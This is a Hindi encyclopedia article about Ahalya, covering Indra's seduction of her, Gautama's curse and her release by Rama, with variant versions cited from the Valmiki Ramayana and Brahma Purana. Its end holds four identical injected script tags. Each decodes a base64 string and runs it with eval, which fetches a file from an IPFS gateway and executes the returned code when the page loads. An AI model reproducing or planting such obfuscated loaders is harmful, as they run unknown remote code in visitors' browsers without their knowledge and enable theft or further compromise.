अहिल्या

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
अहल्या का उद्धार करते श्रीराम

अहिल्या महर्षि गौतम की पत्नी थी। ये अत्यंत ही रूपवान तथा सुन्दरी थी। एक दिन गौतम की अनुपस्थिति में देवराज इन्द्र ने अहिल्या से सम्भोग की इच्छा प्रकट की। यह जानकर कि इन्द्र उस पर मुग्ध हैं, अहिल्या इस अनुचित कार्य के लिए तैयार हो गई। महर्षि गौतम ने कुटिया से जाते हुए इन्द्र को देख लिया और उन्होंने अहिल्या को पाषाण बन जाने का शाप दिया। 'त्रेता युग' में श्रीराम की चरण-रज से अहिल्या का शापमोचन हुआ। वह पाषाण से पुन: ऋषि-पत्नी हुई।

अन्य प्रसंग

अहिल्या से सम्बन्धित और भी कई प्रसंग प्राप्त होते हैं, जो इस प्रकार हैं-

  • गौतम अपनी पत्नी अहिल्या के साथ तप करते थे। एक दिन गौतम की अनुपस्थिति में इन्द्र ने मुनिवेश में आकर अहिल्या से सम्भोग की इच्छा प्रकट की। अहिल्या यह जानकर कि इन्द्र स्वयं आए हैं और उसे चाहते हैं, इस अधम कार्य के लिए उद्यत हो गयी। जब इन्द्र अहिल्या से सम्भोग करने के बाद वापस लौट रहे थे, उसी समय गौतम वहाँ पहुँच गए। गौतम के शाप से इन्द्र के अण्डकोश नष्ट हो गये और अहिल्या अपना शरीर त्याग, केवल हवा पीती हुई सब प्राणियों से अदृश्य होकर कई हज़ार वर्ष के लिए उसी आश्रम में राख के ढेर पर लेट गयी। गौतम ने कहा कि इस स्थिति से उसे मोक्ष तभी मिलेगा, जब दशरथ पुत्र राम यहाँ आकर उसका आतिथ्य ग्रहण करेंगे। गौतम स्वयं हिमवान् के एक शिखर पर चले गये और तपस्या करने लगे।
  • इन्द्र ने स्वर्ग में पहुँचकर समस्त देवताओं को यह बात बतायी, साथ ही यह भी कहा कि ऐसा अधम काम करके गौतम को श्राप देने के लिए बाध्य कर, इन्द्र ने गौतम के तप को क्षीण कर दिया है। इन्द्र का अण्डकोश नष्ट हो गया था। अत: देवताओं ने मेष (भेड़ा) का अण्डकोश इन्द्र को प्रदान किया। तभी से इन्द्र मेषवृण कहलाए तथा वृषहीन भेड़ा अर्पित करना पुष्कल-फलदायी माना जाने लगा। वनवास के दिनों में राम-लक्ष्मण ने, तपोबल से प्रकाशमान, आश्रम में अहिल्या को ढूँढ़कर उसके चरण-स्पर्श किए। अहिल्या उनका आतिथ्य-सत्कार कर शापमुक्त हो गयी तथा गौतम के साथ सानन्द विहार करने लगी। [1]
  • ब्रह्मा ने एक अनुपम सुंदरी कन्या का निर्माण किया, जिसे पोषण के लिए गौतम को दे दिया। उसके युवती होने पर गौतम निर्विकार भाव से उसे लेकर ब्रह्मा के पास पहुंचा। अनेक अन्य देवता भी उसे भार्या-रूप में प्राप्त करना चाहते थे। ब्रह्मा ने सबसे कहा कि पृथ्वी की दो बार परिक्रमा करके जो सबसे पहले आयेगा, उसी को अहिल्या दी जायेगी। सब देवता परिक्रमा के लिए चले गये और गौतम ने अर्धप्रसूता कामधेनु की दो प्रदक्षिणाएँ कीं। उसका महत्त्व सात द्वीपों से युक्त पृथ्वी की प्रदक्षिणा के समान ही माना जाता है। ब्रह्मा ने अहिल्या से गौतम का विवाह कर दिया।
  • एक दिन इन्द्र गौतम का रूप धारण् कर उनके अंत:पुर में पहुँच गया। अहिल्या तथा अन्य रक्षक उसे गौतम ही समझते रहे, तभी गौतम और उनके शिष्य वहाँ पहुँचे। गौतम ने रुष्ट होकर अहिल्या को सूखी नदी होने का शाप दिया, साथ ही कहा कि गौतमी से मिल जाने पर वह पूर्ववत् हो जायेगी। इन्द्र को भी पाप शमन के निमित्त गौतमी में स्नान करना पड़ा। 'गौतमी-स्नान' के उपरान्त वह सहस्त्राक्ष हो गया।[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. वाल्मीकि रामायण, बाल कांड, सर्ग 48-4-33, 49-1.24
  2. ब्रह्म पुराण, 87

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>